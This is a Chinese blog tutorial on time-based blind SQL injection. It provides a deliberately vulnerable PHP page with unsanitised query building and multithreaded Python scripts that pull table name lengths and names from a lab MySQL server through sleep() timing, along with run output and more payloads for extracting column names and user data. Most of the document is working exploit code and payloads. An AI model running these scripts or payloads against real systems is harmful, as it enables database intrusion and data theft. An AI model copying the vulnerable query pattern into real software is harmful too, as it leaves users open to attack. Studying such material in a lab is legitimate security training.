基于时间的盲注python脚本


0x001 时间盲注简介


  时间盲注就是在页面进行SQL注入并执行后,前端页面无法回显注入的信息。此时,我们可以利用sleep()函数来控制延迟页面返回结果的时间,进而判断注入的SQL语句是否正确,这个过程称之为时间盲注。但如果手工进行注入的话,过程是非常频繁且耗时的,为了提高效率,我们需要编写自动化脚本替我们去完成这些注入工作。

0x002 漏洞测试代码


以下为本次实验测试的基于时间的数字型盲注漏洞代码,可以部署到本地进行配合脚本测试验证。

<?php
header("content-type:text/html;charset=utf-8");
$conn=mysql_connect("localhost","root","root");
mysql_select_db('sqltest');
?>
<html>  
<head>   
<meta charset="utf-8" />   
<title>sql注入测试</title>   
<style>   
body{text-align:center}   
</style>   
</head>   
<body>   
<br />  
<?php  
     $id=@$_GET['id'];
    if($id==null){  
        $id="1";  
    }  
    mysql_query('set names utf8');  
    $sql = "SELECT * FROM users WHERE id=$id";  
    $result = mysql_query($sql,$conn);  
    if(!$result)  
    {  
        die('<p>error:'.mysql_error().'</p>');  
    }  
    $row = mysql_fetch_array($result);  
    if (!$row){  
        echo "该记录不存在";  
        echo $sql;
        exit;  
    }  
    ?>  
<font size="10" face="Times">sql注入测试</font>  
<table border='2'  align="center">  
<tr>  
<td>id:<?php echo $id;?></td>  
</tr>  
<tr>  
<td>账号:<?php echo $row['username'];?></td>  
</tr>  
<tr>  
<td>密码:<?php echo $row['password'];?></td>  
</tr>  
<tr>  
<td>sql内容: <?php echo $sql;?></td>  
</tr>  
</table>
</body>   
</html>

0x003 时间盲注之获取表名长度


1. 获取表名长度盲注脚本编写

导入所需的模块

# coding:utf-8
import requests
import datetime
import time
import threading

定义测试数据的长度范围

例:定义测试表名数据的长度总范围为1到15

list=[]  # 测试表名数据长度的列表
for i in range(1,16):   # range(1,16)实际数字范围是1到15
    list.append(i)

测试结果

print(list)

[1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15]

定义单个线程工作量

例:定义单个线程的工作量为3

t_num = 3

分配每个线程的测试范围

例:由于测试表名数据长度为1到15,一共15个数据,而单个线程数为3,所以一共会产生5个线程数;如果不能刚好分配完,则多余的部分会新生成一个单独的线程

t_list=[list[t:t+t_num] for t in range(0,len(list),t_num)] # 每个线程的测试范围列表

测试结果

print(t_list)

[[1, 2, 3], [4, 5, 6], [7, 8, 9], [10, 11, 12], [13, 14, 15]]

构造payload

通用:如果判断表名长度正确,页面立即返回结果;如果错误,页面会延迟1秒返回结果

?id=1 and sleep(if((select length(table_name)=要猜表名的长度 from information_schema.tables where table_schema=database() limit 要猜第几个表名0表示第一个,1),0,1))

例子:猜当前数据库下的第1个表名长度是否为5。

?id=1 and sleep(if((select length(table_name)=5 from information_schema.tables where table_schema=database() limit 0,1),0,1))

定义要获取表名的数量

例:指定获取当前数据库下的前5个表名的长度

table_num=[0,1,2,3,4] # 0表示第一个表,1表示第二个表...

编辑功能函数

例:该函数会判断并返回当前数据库下的前5个表名长度

def table_len(j_list,table_num):
    for j in table_num:
        now_table = "第%d个表" % (j + 1)  # 当前的表名序号
        for i in j_list:
            url = '''http://192.168.1.2/labs/num_sql.php'''
            payload = '''?id=1 and sleep(if((select length(table_name)=%s from information_schema.tables where table_schema=database() limit %d,1),0,1))''' % (i,j)
            # print(url+payload)
            time1 = datetime.datetime.now()
            r = requests.get(url + payload)
            time2 = datetime.datetime.now()
            sec = (time2 - time1).seconds
            #print('timeout:',sec)
            if sec <= 1:
                print('[+] %s长度为:' % now_table, i)
                res_table_lens[now_table]=i
                print(res_table_lens)
            else:
                # print(i)
                pass

定义接收返回表名长度结果的字典

res_table_lens = {}

定义线程工作列表

theads_list=[]

添加线程到线程工作列表

for j in t_list:
    theads_list.append(threading.Thread(target=table_len, args=(j,table_num,)))

执行线程列表中的线程

for k in theads_list:
    k.start()

2. 获取表名长度脚本代码总结

# coding:utf-8
import requests
import datetime
import time
import threading

# 定义测试的长度范围
list=[]  # 测试数据长度的列表
for i in range(1,16):
    list.append(i)

# 定义单个线程的工作量为3
t_num=3 

# 每个线程的测试范围列表
t_list=[list[t:t+t_num] for t in range(0,len(list),t_num)] 

# 定义接收的表名长度字典
res_table_lens = {}

# 添加线程工作列表
theads_list=[]

#定义要获取表名的数量
table_num=[0,1,2,3,4]

# 功能函数
def table_len(j_list,table_num):
    for j in table_num:
        now_table = "第%d个表" % (j + 1)  # 当前的表名序号
        for i in j_list:
            url = '''http://192.168.1.2/labs/num_sql.php'''
            payload = '''?id=1 and sleep(if((select length(table_name)=%s from information_schema.tables where table_schema=database() limit %d,1),0,1))''' % (i,j)
            # print(url+payload)
            time1 = datetime.datetime.now()
            r = requests.get(url + payload)
            time2 = datetime.datetime.now()
            sec = (time2 - time1).seconds
            #print('timeout:',sec)
            if sec <= 1:
                print('%s长度为:' % now_table, i)
                res_table_lens[now_table]=i
                print(res_table_lens)
            else:
                # print(i)
                pass

# 添加线程到线程列表
for j in t_list:
    theads_list.append(threading.Thread(target=table_len, args=(j,table_num,)))

# 执行线程列表中的线程
for k in theads_list:
    k.start()

运行结果

[+] 第1个表长度为: 4
{'第1个表': 4}
[+] 第2个表长度为: 4
{'第1个表': 4, '第2个表': 4}
[+] 第3个表长度为: 5
{'第1个表': 4, '第2个表': 4, '第3个表': 5}
[+] 第4个表长度为: 5
{'第1个表': 4, '第2个表': 4, '第3个表': 5, '第4个表': 5}
[+] 第5个表长度为: 5
{'第1个表': 4, '第2个表': 4, '第3个表': 5, '第4个表': 5, '第5个表': 5}

0x004 时间盲注之获取表名


1. 获取表名脚本编写

导入所需的模块

# coding:utf-8
import requests
import datetime
import time
import threading

定义表名的长度列表

在上一个获取表名长度步骤中,已经得到了前5个表名长度分别为:

第1个表长度为4
第2个表长度为4
第3个表长度为5
第4个表长度为5
第5个表长度为5

将这5个表按先后顺序定义成一个列表

res_table_lens=[4,4,5,5,5]

定义线程的数量

例:定义线程的数量为5个,每一个线程对应获取一个表名

这样就可以在统一时间内同时获取5个表名,如果没有多线程的话,就得一个完接一个的获取表名。

theads_table_num=[0,1,2,3,4]

构造payload

通用:如果判断表名长度正确,页面立即返回结果;如果错误,页面会延迟1秒返回结果

?id=1 and sleep(if((select mid(table_name,要猜的表名的第几位,1)='要猜的字符' from information_schema.tables where table_schema=database() limit 要猜第几个表名0表示第一个,1),0,1))

例子:猜当前数据库下的第1个表名的第1个字符是否为u。

?id=1 and sleep(if((select length(table_name)='u' from information_schema.tables where table_schema=database() limit 0,1),0,1))

编辑功能函数

例:该函数会判断并返回当前数据库下的前5个表名

def table_name(len,k):
    name = ''
    now_thead = "第%d个线程" % (k + 1) # 当前的线程序号
    now_table = "第%d个表" % (k + 1)  # 当前的表名序号
    for j in range(1, len[k]+1):
        for i in '0123456789abcdefghijklmnopqrstuvwxyz':
            url = '''http://192.168.1.2/labs/num_sql.php'''
            payload = '''?id=1 and sleep(if((select mid(table_name,%d,1)='%s' from information_schema.tables where table_schema=database() limit %d,1),0,1))''' % (
               j, i, k)
            # print(url+payload)
            time1 = datetime.datetime.now()
            r = requests.get(url + payload)
            time2 = datetime.datetime.now()
            sec = (time2 - time1).seconds
            #print('timeout:', sec)
            if sec <= 1:
                name += i
                print('[+] %s--->%s: ' % (now_thead,now_table),name)
                break
    res_table_name[now_table]=name
    print(res_table_name)

定义接收返回表名结果字典

res_table_name= {}

定义线程工作列表

theads_list=[]

添加线程到线程工作列表

for k in theads_table_num:
    theads_list.append(threading.Thread(target=table_name, args=(res_table_lens,k,)))

执行线程列表中的线程

for k in theads_list:
    k.start()

2. 获取表名脚本代码总结

# coding:utf-8
# coding:utf-8
import requests
import datetime
import time
import threading

# 添加线程工作列表
theads_list=[]

#  定义每一个表名对应的长度列表
res_table_lens=[4,4,5,5,5]

# 定义要获取表名的数量
theads_table_num=[0,1,2,3,4]

# 定义接收的表名字典
res_table_name= {}

def table_name(len,k):
    name = ''
    now_thead = "第%d个线程" % (k + 1) # 当前的线程序号
    now_table = "第%d个表" % (k + 1)  # 当前的表名序号
    for j in range(1, len[k]+1):
        for i in '0123456789abcdefghijklmnopqrstuvwxyz':
            url = '''http://192.168.1.2/labs/num_sql.php'''
            payload = '''?id=1 and sleep(if((select mid(table_name,%d,1)='%s' from information_schema.tables where table_schema=database() limit %d,1),0,1))''' % (
               j, i, k)
            # print(url+payload)
            time1 = datetime.datetime.now()
            r = requests.get(url + payload)
            time2 = datetime.datetime.now()
            sec = (time2 - time1).seconds
            #print('timeout:', sec)
            if sec <= 1:
                name += i
                print('[+] %s--->%s: ' % (now_thead,now_table),name)
                break
    res_table_name[now_table]=name
    print(res_table_name)

# 添加线程到线程列表
for k in theads_table_num:
    theads_list.append(threading.Thread(target=table_name, args=(res_table_lens,k,)))

# 执行线程列表中的线程
for k in theads_list:
    k.start()

运行结果

[+] 第1个线程--->第1个表:  n
[+] 第2个线程--->第2个表:  p
[+] 第3个线程--->第3个表:  t
[+] 第4个线程--->第4个表:  t
[+] 第5个线程--->第5个表:  u
[+] 第1个线程--->第1个表:  ne
[+] 第4个线程--->第4个表:  te
[+] 第3个线程--->第3个表:  te
[+] 第2个线程--->第2个表:  po
[+] 第5个线程--->第5个表:  us
[+] 第1个线程--->第1个表:  new
[+] 第4个线程--->第4个表:  tes
[+] 第3个线程--->第3个表:  tes
[+] 第5个线程--->第5个表:  use
[+] 第2个线程--->第2个表:  pos
[+] 第1个线程--->第1个表:  news
{'第1个表': 'news'}
[+] 第5个线程--->第5个表:  user
[+] 第4个线程--->第4个表:  test
[+] 第3个线程--->第3个表:  test
[+] 第3个线程--->第3个表:  test1
{'第1个表': 'news', '第3个表': 'test1'}
[+] 第4个线程--->第4个表:  test2
{'第1个表': 'news', '第3个表': 'test1', '第4个表': 'test2'}
[+] 第2个线程--->第2个表:  post
{'第1个表': 'news', '第3个表': 'test1', '第4个表': 'test2', '第2个表': 'post'}
[+] 第5个线程--->第5个表:  users
{'第1个表': 'news', '第3个表': 'test1', '第4个表': 'test2', '第2个表': 'post', '第5个表': 'users'}

0x005 文章总结

  综上,本文总结了如何编写自动化脚本获取表名长度,进而获取表名。接下来就是要获取表名下的字段长度,然后获取字段名,最后获取字段值长度和字段值数据。这些步骤基本上与获取表名长度和表名一致,只是构造的payload不同,然后再根据payload稍稍改动小部分代码即可获取到想要的内容,这里就不一一编写了。

  最后提供下测试代码剩余完整的payload,有兴趣的可以自行编写对应的自动化python脚本。

判断字段名长度payload

# 判断users表的第一个字段名长度是否为5
?id=1 and sleep(if((select length(column_name)=5 from information_schema.columns where table_name='users' limit 0,1),0,3))

判断字段名payload

# 判断users表的第一个字段名的第一位是否为u
?id=1 and sleep(if((select mid(column_name,1,1)='u' from information_schema.columns where table_name='users' limit 0,1),0,3))

判断字段值长度payload

# 判断users表的username字段的第一个字段值是否为5
?id=1 and sleep(if((select length(username)=5 from users limit 0,1),0,3))

判断字段值数据payload

# 判断users表的username字段的第一个字段值的第一位是否为u
?id=1 and sleep(if((select mid(username,1,1)='u' from users limit 0,1),0,3))

参考文章


文章作者: LuckySec
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 LuckySec !
评论
  目录